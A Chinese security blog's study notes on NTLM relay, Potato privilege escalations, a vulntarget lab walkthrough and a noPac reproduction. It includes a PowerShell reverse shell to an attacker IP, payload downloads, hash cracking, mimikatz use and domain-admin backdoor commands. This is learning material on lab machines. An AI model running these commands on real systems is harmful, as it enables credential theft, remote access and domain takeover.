前面的 NTLM 协议学习记录中提到过几种攻击方式,但毕竟是偏向笔记的水文,这里重新实验并思考。

  • 利用前提


    发送 NTLM 请求的情景:NTLM 是一种嵌套协议,SMB,HTTP,LDAP,MSSQL 等协议都可以携带 NTLM 认证的三类消息,也就说通过以上协议进行 NTLM 认证的程序都会发送 Net-NTLMhash,而这个 Net-NTLMhash 也可以被攻击者截取。
    目标机器的 SMB 签名关闭

    在 SMB 连接中,需要通过 SMB 签名和加密来保护服务器和客户端之间传输数据的完整性,如果关闭 SMB 签名,攻击者就可以拦截认证过程,并将获得的 hash 在其它机器上重放,从而获得权限。
    一般情况下,域内默认仅在域控制器上启用,域成员机器没有启用。
    攻击之前先做一下信息收集,工具地址:https://github.com/lgandx/Responder
    image-20220430112109698
    其中 10.0.10.1 是主机,10.0.10.110 是域控,只有域控开启了签名
    截取到的用户 RID 为 500

    与补丁 kb2871997(哈希传递) 有关,RID 500 的账户和本地管理员成员的域账户是过了 UAC 的,不满足这个条件即使拿到了高权限也没法过 UAC。
  • 关于签名


    当认证完毕后,客户端和服务端都知道一个 key 用于对后续的操作进行解密,这里获取这个 key 存在一个密钥协商的过程。
    exported_session_key 是客户端生成的 16 位随机数,客户端用这个 key 进行加密和解密。key_exchange_key 是使用用户密码,经过一定运算后得到的。密钥协商过程如下。最后加密使用的是 encrypted_random_session_key:
    image-20220430161316116
  • SMB 欺骗


    远程链接计算机访问共享资源的方式:
    共享计算机地址\共IP享资源路径
    共享计算机名\共享资源路径
    

    首先要发起一个 NTLM 请求, net use 一个不存在的路径,然后进行 windows 系统名称解析,顺序为:
    本地hosts文件(%windir%\System32\drivers\etc\hosts)
    DNS缓存/DNS服务器
    链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
    

    路径不存在,会通过 LLMNR 和 NBT-NS 进行名称解析,加ing未经认证的 UDP 广播到网络中,询问这个名称
    image-20220430112509704
    此时攻击机开启 responder 的监听,就可以截取这个 hash,使用的协议是 NTLMV2,可以尝试暴力破解。(对于 V1 的破解可参考:https://www.anquanke.com/post/id/194069)
     sudo responder -I eth0
    

    image-20220430112527657
    hashcat -m 5600 Administrator::VULNTARGET:1122334455667788:8E40968E9E1648DF620E9D67067B36AD:010100000000000080D6BD2B205CD8019C850A7FD433C1710000000002000800380043005100320001001E00570049004E002D004200460048004300490038004500360049004F00330004003400570049004E002D004200460048004300490038004500360049004F0033002E0038004300510032002E004C004F00430041004C000300140038004300510032002E004C004F00430041004C000500140038004300510032002E004C004F00430041004C000700080080D6BD2B205CD801060004000200000008003000300000000000000000000000003000006525BD0F48330D5D08F941E7A1CF0353F6813FD55C9026B9610D45D540489F9B0A001000000000000000000000000000000000000900120063006900660073002F006100610061006100000000000000000000000000 old-passwords.txt -o found.txt --force
    

    image-20220430125150459
  • 域中的中继


    工作组中只能中继 rid 500 的 administrator 账户,成功的条件是被欺骗机器的 administrator 密码和被攻击主机的 administrator 密码相同。
    在域中因为存在域用户,限制就小了很多。这里在 win7(10.0.10.10)中登录了域管账号,尝试用 MultiRelay 进行中继攻击。
    一个终端使用 Responder 监听,另一个终端运行 MultiRelay
    sudo python3 MultiRelay.py -t <被攻击ip> -u ALL
    

    image-20220430113145738
    在 win7 上用域管账号触发 ntlm 请求后,直接转发到 10.0.10.111 上登录,拿到 system 权限。
    现在要确定的是不同权限用户是否可以实现中继攻击,首先添加两个普通的域用户 testa 和 testb,在 testa 登录的主机上创建一个共享文件夹。此时 testb 可以直接访问到这个文件夹。
    image-20220430122109792
    在域中的 NTLM 认证数据会从域控那里获取,且这里访问共享也是从域数据库中查找,也就是说域内普通用户相互访问不需要密码认证。
    但此时在用 testb 中继攻击 testa 还是失败,就是前面提到的权限问题。
    image-20220430122742769
    如果将 testb 加入到本地管理员组中,再进行测试(xs,本地管理员组怎么可能登上别的机器,除非密码一样)
    net localgroup Administrators testb /add
    

    image-20220430123329226
    image-20220430123543397
    伪造 SMB 服务器

    让 10.0.10.10(登录域管账户)取访问攻击机,攻击机将流量转发到受害机(10.0.10.111)
    impacket-smbrelayx -h 10.0.10.111 -c whoami
    

    image-20220430130559531
    还可以直接上线?
    impacket-smbrelayx -h <被攻击ip> -e shell.exe
    

    CVE-2015-0005

    结合前面提到的签名过程中,由于攻击者没有用户的 hash(也就是没有 key_exchange_key),虽然能在流量中获取 encrypted_random_session_key,但也没法算出 exported_session_key,没法对流量进行签名。
    而这个 CVE 就是泄露了 key_exchange_key。
    在域内进行 ntlm relay 时候,如果登录的用户是域用户,这个时候认证服务器本地没有这个 hash,就会通过 NETLOGON 把 type1, type2, type3 都发给域控,在域控中进行认证(注意这时没有要 hash)。但在认证之后,被请求机器还是没有请求用户的 hash,所以这时要向域控索要 key_exchange_key,而域控那边的处理逻辑中,没有对索要 key_exchange_key 进行鉴权,只要是机器用户都会给!(图来自:https://www.anquanke.com/post/id/194514
    image-20220430173715072
  • NTLM 反射(土豆提权)


    如果攻击者并没有获得目标机器的权限,而是能使其发送特定的 ntlm 请求,那么攻击者再收到这个 ntlm 后接着发送给目标机器,从而实现攻击效果。
    各种的土豆提权就是基于这种原理,该提权手法的前提是拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege(system才有) 权限,其中有 SeImpersonatePrivilege 权限的有:
    本地管理员账户(不包括管理员组普通账户)和本地服务帐户
    由SCM启动的服务
    

    其中 windows 服务的登录账户有:
    NT AUTHORITY\System
    NT AUTHORITY\Network Service
    NT AUTHORITY\Local Service
    

    通常在通过攻击 windows 的一些服务会拿到相应服务的权限(如 mssql 的 xp_cmdshell)
    此类提权的利用范围就是:
    Administrator——>SYSTEM
    Service——>SYSTEM
    

    至于为什么需要这两种权限,可以看之前写的关于 windows 命名管道的这篇文章:http://moonflower.fun/index.php/2022/03/18/301/,其中的思路于 msf 的 getsystem 相似,其中 SeImpersonatePrivilege 权限可以调用 CreateProcessWithTokenW 以某个 Token 的权限启动新进程,而 SeAssignPrimaryTokenPrivilege 可以调用 CreateProcessAsUserW 以 hToken 权限启动新进程。
    剩下的太多了放下一篇了。。。
  • 参考文献


 

  • Origin Potato(MS08-068)


    原理就是上文提到的 ntlm 反射,
    image-20220430170143680
    重点看一下修复,微软在 kb957097 补丁中通过修复 SMB 身份验证答复的验证方式来防止凭据重播。当主机 A 向主机 B 进行 SMB 认证的时候,将 pszTargetName 设置为 cifs/B,然后在 type2 拿到 B 发送的 Challenge 之后,在 lsass 里面缓存 (Challenge,cifs/B),接着 B 拿到 A 的 type3,这时会去检查 lsass 缓存里是否有 (Challenge,cifs/B),如果有就说明这是同一台主机,那么认证失败。
  • Hot Potato(MS16-075)


    影响范围 Windows 7,8,10,Server 2008 以及 Server 2012,经典的 ntlm relay 攻击链,依靠 windows update 触发。工具地址:https://github.com/foxglovesec/Potato
    image-20220430174056225
    实现流程:
    1.本地 NBNS Spoofer :冒充名称解析,强制系统下载恶意 WAPD 配置
    2.伪造 WPAD 代理服务器:部署 malicios WAPD 配置,强制系统进行 NTLM 认证
    3.HTTP -> SMB NTLM 中继:将 WAPD NTLM 令牌中继到 SMB 服务以创建提升的进程
    

    流程分 3 步,首先进行本地 NBNS 欺骗,windows 通常通过这一协议进行域名解析,当 windows 在 hosts 文件和 dns 查询都搜索失败后,会再进行 NBNS 查询,在本地广播域中向所有的主机发出 UDP 广播询问。
    但是直接嗅探到网络流量信息需要本地管理员权限,这里曲线救国。如果我们能提前知道 NBNS 请求所对应的目标主机的主机名(目标主机 127.0.0.1),就可以创建一个虚假的应答信息,并快速地使用 NBNS 应答信息来对目标主机进行泛洪攻击。因为 NBNS 数据包中有一个长度为 2 子节的数据域-TXID,要求与请求和应答信息相匹配,所以要通过泛洪暴力枚举 65536 个可能性。
    这是没有匹配到 dns 的情况,如果之前就保存了主机的 DNS 记录,那么可以使用 UDP 端口枯竭(使每一个 UDP 端口失效),迫使目标系统中所有的 DNS 查询失败。
    下一步是伪造 WPAD 代理服务器,在 windows 操作系统中,IE 浏览器在默认情况下会通过 http://wpad/wpad.dat 来自动尝试检查网络代理,同时也有其它一些 windows 中的服务会采用这一机制(比如利用中提到的 Windows Update)。
    但是并不是所有网络中都可以正常访问这个 url(不是所有的 dns 域名服务器都存在主机 wpad),那么我们就可以伪造一个 WPAD 代理服务器,结合前文的本地 NBNS 欺骗,就可以声称 WPAD 主机的 ip 地址是目标地址(127.0.0.1)。
    这时在 127.0.0.1 本地运行一个 HTTP 服务器,当收到 http://wpad/wpad.dat 请求时,做以下答复:
    FindProxyForURL(url,host){
        if (dnsDomainIs(host, "localhost")) return "DIRECT";
        return "PROXY 127.0.0.1:80";
    

    这样目标上所有的 http 流量都通过 127.0.01 重定向。
    之前对于 NTLM 反射的补丁只限于 SMB->SMB,但 NTLM 支持跨协议,也就是说像 HTTP->SMB 仍可正常工作。
    现在 HTTP 流量都会途径我们控制的 HTTP 服务器,那么就可以将其重定向到 URL: http://localhost/GETHASHESxxxxx,以 NTLM 身份验证的 401 请求响应(其中 xxxxx 是某个唯一标识符)。然后将 NTLM 凭据中继到本地 SMB 监听器以创建运行用户定义命令的新系统服务。
    当这个请求由高权限发起的时候(比如 windows update,system 权限),就完成了提权。
    再看一下漏洞的触发,依赖于发送 http://wpad/wpad.dat 请求,而当 windows 已经由 WPAD 的缓存条目或因为没有找到 WPAD 而允许直接上网时,需要 30-60 min才会刷新。
  • Rotten Potato(MS16-075的变种)


    通过 DCOM call 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证,需要 SelmpersonatePrivilege 权限。可以立即触发,不需要等待 windows 更新。
    影响范围:< win10 1809 和 windows server 2019
    image-20220430203014510
    实现流程:
    1.通过 NT AUTHORITY/SYSTEM 运行的 RPC 将尝试通过 CoGetInstanceFromIStorage API 调用向我们的本地代理进行身份验证
    2.135 端口的 RPC 将用于回复第一个 RPC 正在执行的所有请求充当模板
    3.AcceptSecurityContextAPI 调用以在本地模拟 NT AUTHORITY/SYSTEM
    

    首先是用 CoGetInstanceFromIStorage 尝试从调用者(system)指定的位置获取指定对象的实例,下面代码试图从 127.0.0.1 的 6666 端口上获取一个 BITS 对象。(实际上是从 IStorage 中获取对象)
    其中,CLSID 是标识 COM 类对象的全局唯一标识符,类似 uuid。BITS(后台只能传输服务)实现从 HTTP web 服务器 和 SMB 服务实现文件共享,BITS 实现了 IMarshal 接口并允许代理声明强制 NTLM 身份验证。
    public static void BootstrapComMarshal()
    {
    IStorage stg = ComUtils.CreateStorage();
     
    //使用已知的本地系统服务 COM 服务器,在此强制执行 BITSv1
    Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
     
    TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666)); // ip and port
     
    MULTI_QI[] qis = new MULTI_QI[1];
     
    qis[0].pIID = ComUtils.IID_IUnknownPtr;
    qis[0].pItf = null;
    qis[0].hr = 0;
     
    CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1,       qis);
    }
    

    现在有一个 COM 试图连接 127.0.0.1:6666(通过 RPC 协议),那么我们在 6666 端口上建立一个本地 TCP 监听器,如果这时我们以正确的方式回复,那么这个 COM(system 权限运行)就会尝试与我们进行 NTLM 身份验证。
    在这里我们做的是将 6666 接收到的数据包中继到本地的 135 端口的 RPC 监听器上,并将 135 端口返回的数据包作为回复 COM 的模板。
    如果从调用函数的层面理解 NTLM 的认证过程,有下图:
    image-20220430213137161
    重点看服务端的调用,首先调用 acquirecdentialshandle 获取相应的句柄,然后用 AcceptSecurityContext 处理 type1,这个函数的输出就是 type2 的消息,该消息将被发送回试图进行身份验证的客户端,这里就是 DCOM。
    当客户端回复 type3 后,服务端将其传递给 AcceptSecurityContext,以完成身份验证并获得令牌。
    在我们的攻击中,type1被转发到了 RPC 的135 端口上,RPC 回复一个 Type2,但不是直接转发回去,需要在中转的时候进行一些处理,这里做的使用 AcceptSecurityContext 调用的结果替换发送到 COM 数据包中的 NTLM blob(?)。
    但为什么要这样?因为我们需要的是用 system 账户运行的 COM 来完成 NTLM Challenge 和 Reserved(我们使用这两个部分来协商本地令牌),所以如果不替换,后续再次调用 AcceptSecurityContext 就会失败。
    到现在为止,我们能确定的是,客户端以 system 权限执行的 COM 需要对服务端返回的 NTLM type2 数据包中的 NTLM Server Challenge 和 Reserved 部分进行一些操作(magic?),而只有对 AcceptSecurityContext 生成的结果执行这些操作的时候,才能获得令牌。
    这里的 Reserved 字段实际上是对 SecHandle 的引用,当 system 账户接收到 NTLM type2 的消息时,会在内存中进行 Reserved 验证(如果没有替换,将被认证为 RPC 而不是我们)。
    完成上述操作后,system 权限运行的 COM 将向我们发送 type3(是空的?),但会用它来调用 AcceptSecurityContext。最后使用其调用结果用 ImpersonateSecurityContext 获得一个模拟令牌。
    有了模拟令牌,根据 SeImpersonate 权限的特性,可以以此令牌创建进程。
    (基本直接翻译原文,其中有很多地方还不是很理解,有错误希望各位师傅指出)
    原版的 Rotten Potato 的实现基于 meterpreter shell,后来有人写了 webshell 的版本(也就是 Lonely Potato)。
    复现:

    新建一个 IIS 服务器,传上 shell,连上?
    image-20220501134711345
    尝试获取不同权限,直接 cd 到 public 中可以获取 IUSR 权限
    image-20220501134909414
    用烂土豆提权:
    image-20220501135318662
  • Juicy Potato(对 Rotten Potato 的完善)


    禁用了 BITS(Rotten Potato 用请求的对象)并占用了 6666 端口,但除了 BITS (CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}),还有其它的 COM 对象可以选择。
    选择的 COM 对象需要满足的条件是:
    1.可由当前用户实例化,通常是具有模拟权限的服务用户(最开始提到的 potato 家族提权的前提条件)
    2.实现 IMarshal 接口
    3.以提升的用户身份运行(SYSTEM,Administrator ...)
    

    image-20220501123950450
    实现流程和 Rotten Potato 相似。Juicy Potato 通过传递 BITS 的 CLSID 和 IStorage 对象实例给 CoGetInstanceFromIStorage 函数,是 rpcss 激活 BITS 服务,随后 rpcss 的 DCOM OXID resolver 会解析序列化数据中的 OBJREF 拿到DUALSTRINGARRAY 字段,该字段指定了 host[port] 格式的 location,绑定对象时会向其中的 host[port] 发送 DEC/RPC 请求,这时,如果攻击者控制了这个端口,就可以要求机型 NTLM 身份验证,那么高权限服务就会发送 net-NTLM 进行认证。
    拿到 net-NTLM 后会通过 SSPI 的 AcceptSecurityContext 函数进行本地 NTLM 协商,而我们 relay 到本机的 RPC 135 端口来获取系统合法的 RPC 报文,后面的过程只需替换 RPC 报文中的 NTLM SSP 部分即可。
    复现:

    powershell 上传文件:
    (new-object net.webclient).downloadfile('http://10.10.10.1:5555/JuicyPotato.exe', 'C:\Users\Public\JuicyPotato.exe')
    

    用 webshell 反弹 shell
    powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('10.10.10.131',12333);$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (IEX $d 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sby = ([text.encoding]::ASCII).GetBytes($sb2);$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"
    

    image-20220501141125597
    运行 payload:
    .\JuicyPotato.exe -l 1337 -p cmd.exe -t *
    

    image-20220501145032101
  • PrintSpoofer


    看这个洞之前先回顾一下 getsystem 的原理那篇文章,提权的原理就是诱使 system 权限的服务访问我们指定的命名管道,getsystem 提供各种模式欺骗 system 连接管道:
    image-20220501162302890
    其中第 5 个就是 PrintSpoofer,利用了打印机组件路径检查的 bug。
    项目地址:https://github.com/leechristensen/SpoolSample
    Windows 的 MS-RPRN 协议用于打印客户机和打印服务器之间的通信,默认情况下启用。协议定义的 RpcRemoteFindFirstPrinterChangeNotificationEx() 调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。
    DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 
        /* [in] */ PRINTER_HANDLE hPrinter,
        /* [in] */ DWORD fdwFlags,
        /* [in] */ DWORD fdwOptions,
        /* [unique][string][in] */ wchar_t *pszLocalMachine,
        /* [in] */ DWORD dwPrinterLocal,
        /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
    

    同时,Print Spooler 服务的 RPC 接口暴露在命名管道:\\.\pipe\spoolss 中,该服务默认开启。
    其中 pszLocalMachine 是指向表示客户端计算机名称的字符串的指针,需要传递一个 UNC 路径,传递 \\127.0.0.1 时,服务器会访问 \\127.0.0.1\pipe\spoolss,但这个管道已经被系统注册了,并由 NT AUTHORITY\SYSTEM 控制。
    那么下一步就是要想办法把这个请求让我们准备好的恶意管道接收。
    考虑到 UNC 路径的性质,如果主机名包含 /,它将通过路径检查,但真正连接的时候会转化为 \ 。那么,如果传递一个 \\127.0.0.1/pipe/foo,检查时会认为 127.0.0.1/pipe/foo 是一个主机名,随后在连接 named pipe 时会对参数做标准化,于是就会连接 \\127.0.0.1\pipe\foo\pipe\spoolss,那么攻击者就可以把主机名改为 \\127.0.0.1/pipe/foo 并注册这个 named pipe 从而窃取 client 的 token。
    工具地址:https://github.com/itm4n/PrintSpoofer
    还有 crisprss 修改的免杀版:https://github.com/crisprss/PrintSpoofer
    image-20220501170329805
  • Rogue Potato(Rotten / Juicy 的绕过)


    高版本的 Windows DCOM 解析器不允许 OBJREF 中的 DUALSTRINGARRAY 字段指定端口号,既然这样就在一台远程主机上的 135 端口做流量转发,将其转回受害者本机端口,并实现了一个恶意的 RPC OXID 解析器。
    image-20220501172346070
    OXID 解析器是 rpcss 服务的一部分,在每台支持 COM+ 的机器上的 135 端口上运行 ,它执行两个重要任务:
    1.存储连接远程对象所必须的 RPC 字符串绑定,并将它们提供给本地客户机。
    2.将 ping 消息发送给本地机器拥有客户端的远程对象,并接收本地机器运行的对象的 ping 消息。(支持 COM+ 垃圾回收机制)
    

    OXID 解析器的工作流程如下:
    image-20220501174253293
    其中客户端就是 RPCSS 服务,它将尝试连接到我们的恶意 OXID 解析器。
    在正常情况下,客户端的 OXID 解析序列中的所有请求都经过身份验证后,就会模拟运行我们选择的 CLSID 对应 COM 的用户(SYSTEM)。土豆系列的攻击就是拦截这个认证过程并窃取令牌。
    看一下 RPC 支持的协议,我们伪造的 OXID 解析器能选择协议序列标识(protocol sequence),也就是说可以选择调用的具体协议。
    RPC transportRPC protocol sequence string
    SMBncacn_np (see section 2.1.1.2)
    TCP/IP (both IPv4 and IPv6)ncacn_ip_tcp (see section 2.1.1.1)
    UDPncadg_ip_udp (see section 2.1.2.1)
    SPXncacn_spx (see section 2.1.1.3)
    IPXncadg_ipx (see section 2.1.2.2)
    NetBIOS over IPXncacn_nb_ipx (see section 2.1.1.4)
    NetBIOS over TCPncacn_nb_tcp (see section 2.1.1.5)
    NetBIOS over NetBEUIncacn_nb_nb (see section 2.1.1.6)
    AppleTalkncacn_at_dsp (see section 2.1.1.7)
    RPC over HTTPncacn_http (see section 2.1.1.8)

    当使用 ncacn_ip_tcp 的时候,它允许 RPC 直接通过 TCP。我们使用 IRemUnknown2 接口运行 RPC 服务器,并尝试调用 RpcImpersonateClient 的 SecurityCallback 来验证请求。在 resolveoxid2 响应中返回 ncacn_ip_tcp:localhost[9998],触发 RPC 服务器的身份验证(但是只有一个标识符)。
    综上,如果我们将 OXID 解析请求重定向到我们控制下的端口 135 上的远程服务器,并将请求转发到我们的本地 Fake RPC 服务器,我们将仅获得一个匿名登录。如果将 OXID 解析请求解析到一个假的 RPC 服务器,那么将会在 IRemUnkown2 查询的时候获得一个系统令牌(但只是个标识令牌)。
    但作者后续借鉴了 PrintSpoofer 的利用思路,使用了 ncacn _ np(向连接的命名管道)。这里选用了 epmapper 管道(和 RpcEptMapper 服务有关,用于解析 RPC 接口标识符以传输端点)。这个服务和 rpcss 服务共享进程空间,并且都在 NETWORK SERVICE 帐户下运行,那么如果能在这个进程下模拟该账户,就可以窃取 SYSTEM 令牌。
    但是根据协议的设计,即使使用了 ncacn_np:localhost[\pipe\roguepotato],也会最终连接到 epmapper 管道。
    到这里已经有些眉目了,遇到的问题和 PrintSpoofer 中的一样,同样也可以通过在主机名中插入 / 实现绕过。
    如果返回的绑定信息是 ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper],那么 RPCSS 就会尝试连接不存在的命名管道 \roguepotato\pipe\epmapper,那我们在此管道上进行监听,就能获得 SYSTEM 权限的模拟令牌了!
    工具地址:https://github.com/antonioCoco/RoguePotato
  • Ghost potato(MS08-068 绕过)


    为防止用户 relay 本机,在 lsass 中添加缓存绕过,如果缓存中有 (Challenge,cifs/B) 就会认证失败。
    然而这个 (Challenge,cifs/B) 是有时效性的(300s),所有只要等 300s 再发送 type3 就可以 bypass 了。
    image-20220501200135291
    用修改后的 impacket https://shenaniganslabs.io/files/impacket-ghostpotato.zip 可以直接打,用法和 MS08-068 类似。
  • SweetPotato


    集成了前面几种土豆触发 NTLM 认证的方式,包括:COM,WinRM,Spoolsv,其中 WInRM 的攻击原理参考:https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
    大致思路就是当 WinRM 在当前系统未启用时,攻击者监听本机 5985 端口,BITS 服务会向 WinRM 5985 发起 NTLM 认证,
    工具地址:https://github.com/CCob/SweetPotato
    因为 windows 代码能力太差了看不懂 exp,之后一定补!!!
  • 参考文献


  • 环境搭建


    见参考文献1。

  • Centos7


    web 在 81 端口,直接 admin/admin123 进后台,后台下一个可以改代码的插件。
    image-20220414214149381
    首次使用,设置密码后可以直接修改后台文件,写个?进去。
    连上后发现 disable_functions ban 了很多函数(bt 默认的),用蚁剑自带的插件绕一下,拿到 shell 之后用 msf 传个?。
    之后可以用 sudo 的 CVE-2021-3156 提权
    image-20220414222053505
    image-20220414222216786
    在 msf 中已经集成在 exploit/linux/local/sudo_baron_samedit 中
    image-20220414223020025
    下一层 ip 是 10.0.20.0/24,用 Neo-reGeorg 挂个正向代理
  • Win10


    (这里 win10 的网卡改成了 10.0.10.140),访问 8080 的 web 端口,发现禅道 cms。直接 admin / Admin123 登进后台,版本 12.4.2,有洞,可以远程下载文件到主机。工具:https://github.com/wikiZ/Zentao-RCE
    但 win10 不出网,无法访问攻击机,但 centos 中是有 python 的,可以手动在 centos 上写?并下载。
    python -c 'import pty; pty.spawn("/bin/bash")' // 开启交互模式
    python -m SimpleHTTPServer 9998
    
    base64:HTTP://10.0.20.30:9998/shell.php
    
    http://10.0.20.140:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6OTk5OC9zaGVsbC5waHA=
    

    image-20220415162429823
    直接访问是 500,但可以用蚁剑链接,接着就可以传 msf 的?上去。
    tasklist 发现有火绒,需要做一下免杀,这里做个 uuid 免杀就行,具体操作看免杀初探那篇文章。
    (我应该不是最后一个知道添加路由后可以直接反弹跳板机的吧)
    run post/multi/manage/autoroute
    

    image-20220415204105527
    拿到的是一个 IIS 的低权限,尝试提权
    run post/multi/recon/local_exploit_suggester
    

    或者手动看缺少的补丁(想起来主机是 win10,大概没什么用了):
    systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    

    最后还是直接 getsystem 提权了(其实用到了 CVE-2021-34481,之后补分析)
    image-20220415210859390
  • Windows Server 2016


    win10 尝试抓密码(xs 根本抓不到)
    load kiwi
    creds_all
    

    操作可参考抓密码那篇文章 http://moonflower.fun/index.php/2022/03/01/291/
    这里用 mimikatz 的 ssp 临时注入,只要不重启,就会记录密码
     kiwi_cmd misc::memssp
    

    image-20220415214643951
    拿到账户密码之后尝试用 CVE-2021-42287/CVE-2021-42278 拿域控权限(分析之后补),没打补丁全版本都能打(靶机杀器)
    本地没有 .NET 环境,c# 版本的 exp 用不了,这里用 kali 挂两层代理打
    image-20220415225902049
    工具地址:https://github.com/Ridter/noPac
    msf 定位域控:
     run post/windows/gather/enum_domain
    

    exp 直接打(可能需要多打几次):
    proxychains4 python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell 
    

    image-20220416171146959
    做一下维权,创建一个域管账号:
    net user admin admin#123 /add /domain
    net group "Domain Admins" admin /add /domain
    

    修改防火墙策略,打开 3389 端口
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    用 PsExec 链接上:
    PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p admin#123 -s cmd.exe -accepteula
    
  • 参考文献


 

  • 环境搭建

将就 vulntarget-b 的 win10 和 server2016 了,打的时候也是用的这个洞。

  • 前置知识


    Kerberos 中的 PAC

    PAC (Privilege Attribute Certificate,特权属性证书) 用于 kerberos 协议中的权限认证,在基础的 kerberos 模型中没有对用户权限的判断,加入 PAC 后,在 KDC 返回的 TGT(AS_REP) 和 ST(TGS_REP) 中都包含 PAC。
    image-20220417125305326
    KDC 在收到 AS-REQ 之后,从请求中取出 cname 字段,然后查询活动目录数据库,找到 sAMAccountName 属性为 cname 字段的值的用户,用该用户的身份生成一个对应的 PAC。
    在 TGS_REQ & TGS_REP 请求 ST 的过程中,KDC 收到 TGT 后,用 krbtgt 密钥解密,取出 PAC 并验证签名(确保 PAC 未被篡改),然后将其直接 copy 到 ST 中,也就是说只要签名合法 PAC 不会改变,这里是没有对 PAC 的正确性做检查的。
    image-20220417135813340
    但在 S4u2Self&S4u2Proxy 请求中,ST 中的 PAC 是重新生成的。(!)
    而如果 TGT 中本身就没有 PAC 的话,KDC 在 copy PAC 的时候也会 copy 一个空的,那么 ST 中也就没有 PAC。
    PAC 的一些重要字段:
    - Acct Name:该字段对应的值是用户sAMAccountName属性的值
    - Full Name:该字段对应的值是用户displayName属性的值
    - User RID:该字段对应的值是用户的RID,也就是用户SID的最后部分
    - Group RID:对于该字段,域用户的Group RID恒为513(也就是Domain Users的RID),机器用户的Group RID恒为515(也就是Domain Computers的RID)
    - Num RIDS:用户所属组的个数
    - GroupIDS:用户所属的所有组的RID
    

    S4u2Self 协议

    为了对委派机制中权限的进一步限制,Kerberos 协议扩展了两个自协议 S4U2Self(Service for User to Self)和 S4u2Proxy (Service for User to Proxy )。
    S4u2Self 可以代表任意用户请求针对自身的 ST 服务票据;S4u2Proxy 可以用上一步获得 ST 以用户的名义请求针对其它指定服务的 ST 。
    image-20220417133057879
    当 KDC 收到 TGS_REQ S4u2Self 协议后,首先验证客户端是否有权限发起 S4U2Self,然后根据 S4U2Self 中模拟的用户生成对应权限的 PAC,放在 ST 票据中(不会复用)
    跨域的 TGS

    当 TGT 中没有 PAC 的时候,如果是当前域的请求,则 ST 中也没有 PAC,如果是其它域的话,会重新生成一个 PAC。
  • 漏洞原理


    Windows 中机器账户的 username 一般以 $ 结尾。当请求服务 ST 的账户没有被 KDC 找到的时候,KDC 会自动在 username 尾部添加 $ 重新搜索。
    那么如果域控主机名为 moonflower $,而攻击者将机器账户的 sAMAccountName 更改为 moonflower。
    用户收到这个 TGT 之后,攻击者将机器名修改为其它机器名,然后用这个 TGT 向 TGS 请求 S4u2Self 服务(为了修改 PAC)。
    当 TGS 解密这个 TGT 后,获取到机器名:moonflower,也就是域控的主机名。有因为是 S4u2Self 服务,所有需要用主机名对应的密钥来加密 ST,而此时在 KDC 中已经搜索不到 moonflower 这个用户了,那么就会自动在 moonflower 后面添加一个 $,再次搜索,这时搜到了域控,接着就用域控的密钥加密了 S4u2Self 的 ST发给用户。最后用户拿着这个 ST 取访问域控,就获取了域控的控制权。
  • 手动复现


    具体流程:
    1.首先创建一个机器账户,可以使用 impacket 的 addcomputer.py 或是 powermad(addcomputer.py 是利用 SAMR 协议创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除)
    2.清除机器账户的 servicePrincipalName 属性
    3.将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带$
    4.为机器账户请求 TGT
    5.将机器账户的 sAMAccountName 更改为其他名字,不与步骤3重复即可
    6.通过 S4U2self 协议向 DC 请求 ST
    7.进行 DCsync Attack
    

    创建机器账户,工具:https://github.com/Kevin-Robertson/Powermad
    powershell Set-ExecutionPolicy Bypass -Scope Process 
    Import-Module .\Powermad.ps1
    添加机器用户,输入密码:
    New-MachineAccount -MachineAccount saulgoodman -Domain vulntarget.com -DomainController WIN-UH20PRD3EAO.vulntarget.com -Verbose
    验证结果:
    net group "domain computers" /domain
    

    image-20220417154401829
    然后用 powerview 清除 SPN 信息
    Set-DomainObject "CN=saulgoodman,CN=Computers,DC=vulntarget,DC=com" -Clear 'serviceprincipalname' -Verbose
    

    image-20220417155709155
    重新设置机器名称
    Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "WIN-UH20PRD3EAO" -Attribute samaccountname -Verbose
    

    image-20220417155948641
    用 Rubeus 模拟发送请求:
    ./Rubeus.exe asktgt /user:WIN-UH20PRD3EAO /password:admin#123 /domian:vulntarget.com /dc:WIN-UH20PRD3EAO.vulntarget.com /nowrap
    

    image-20220417162254520
    改回原来的属性
    Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose
    

    获取 ST 票据
    ./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/WIN-UH20PRD3EAO.vulntarget.com" /dc:"WIN-UH20PRD3EAO.vulntarget.com" /ptt /ticket:前面生成的 ticket
    

    image-20220417215150300
     
  • 参考文献


